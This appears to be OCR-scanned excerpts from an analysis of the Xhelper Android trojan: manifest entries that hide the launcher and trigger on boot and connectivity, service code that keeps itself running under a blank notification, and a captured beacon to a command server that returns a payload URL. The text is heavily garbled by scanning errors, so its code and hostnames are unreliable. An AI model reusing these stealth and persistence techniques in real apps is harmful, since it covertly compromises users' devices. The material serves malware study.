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<activity android:theme="@style/Theme.Translucent.NoTitleBar" android:name="com.mufc.umbtts.MainActivity" android:exported="true" android:excludeFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.INF0"/>
</intent-filter>
</activity»

<!-- This name 1is resolved to com.example.myapp.MainActivity
based upon the package attribute -->
<activity android:name=" . MainActivity">
<intent-filter>
<gction android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
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<recelver androld:name="com.mufc.umbtts.WakeUpReceiver" android:exported="true">
<zintent-filter>
<action android:name="androlid.intent.action.USER_PRESENT" />
<action androld:name="androld.intent.action.ACTION POWER_CONMECTED" /=
<action android:name="androlid.intent.action.ACTION POWER_DISCOMMECTED"/=>
=<action android:name="androlid.intent.action.B0OT_COMPLETED" />
<action android:name="androlid.net.conn.CONNECTIVITY CHAMGE" />
<action android:name="androld.intent.action.PACKAGE_ADDED" />
<action android:name="androld.intent.action.PACKAGE_ REMOVED" /=
<action android:name="com.mufc.umbtts.BRACTION" /=
</intent-filter>
</ receliver:
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public void onCreate() { public void onDestroy() {
super.onCreate(); super.onDestroy();
try { try {
if (VERSION.SDK_INT < 18) { if (VERSION.SDK_INT >= 18 && VERSION.SDK_INT < 25) {
startForeground (NOTICE_ID, new Notification()); ((NotificationManager) getSystemService("notification")).cancel(NOTICE_ID);
} else if (VERSION.SDK_INT < 25) { }
Builder builder = new Builder(this); MainApplication.service_ct++;
builder.setSmallIcon(CO020R.drawable.ic_launcher); if (MainApplication.service_ct < 10) {
builder.setContentTitle(" "); startService(new Intent{getApplicationContext(), MainService.class));
builder.setContentText(" “); }
startForeground (NOTICE_ID, builder.build()); } catch (Throwable th) {
startService(new Intent(this, SubService.class)); }
} try {
} catch (Throwable th) { MainApplication.mainservice_isrunning = false;
} } catch (Throwable th2) {
MainApplication.mainservice_isrunning = true; }
} }
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POST https://Ip.cooktracking.com/v1/is/get HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.0.0; Nexus 6P Build/OPR6.170623.019)
Host: Ip.cocktracking.com

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Length: 267

{"app":{"pkg":"com.mufc.umbtts”,"ver":13,"is_system"false},"ver":8,"ct":"umobid5388d", "cp":"p.umobi98717¢1","at":"UMB_DW _13","is0":"","It":0,"d":{"q":"f7f2629d-1e25-48fa-0552-
OcfaSelddaea”,"a":"0b260d39f77cedel”,"m""Nexus 6P","b": "google”, "f":"Huawei","0":"8.0.0"})

HTTP/1.1 200 OK

Content-Type: text/plain

Date: Fri, 26 Jul 2019 15:16:04 GMT

Server: nginx/1.14.1

Content-Length: 142

Connection: keep-alive

{“t":1564154164,"nh":8,"":{"ver":77,"h":"75120cc4fb7e9e6675627a691131b62", "url": "http:\/\/dc.g1ee.com\/loadable\/r\/5Scd3b7bsssss ', "e":0})
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[1] https://www.symantic.com/blogs/threat-intelligence/xhelper-android-malware
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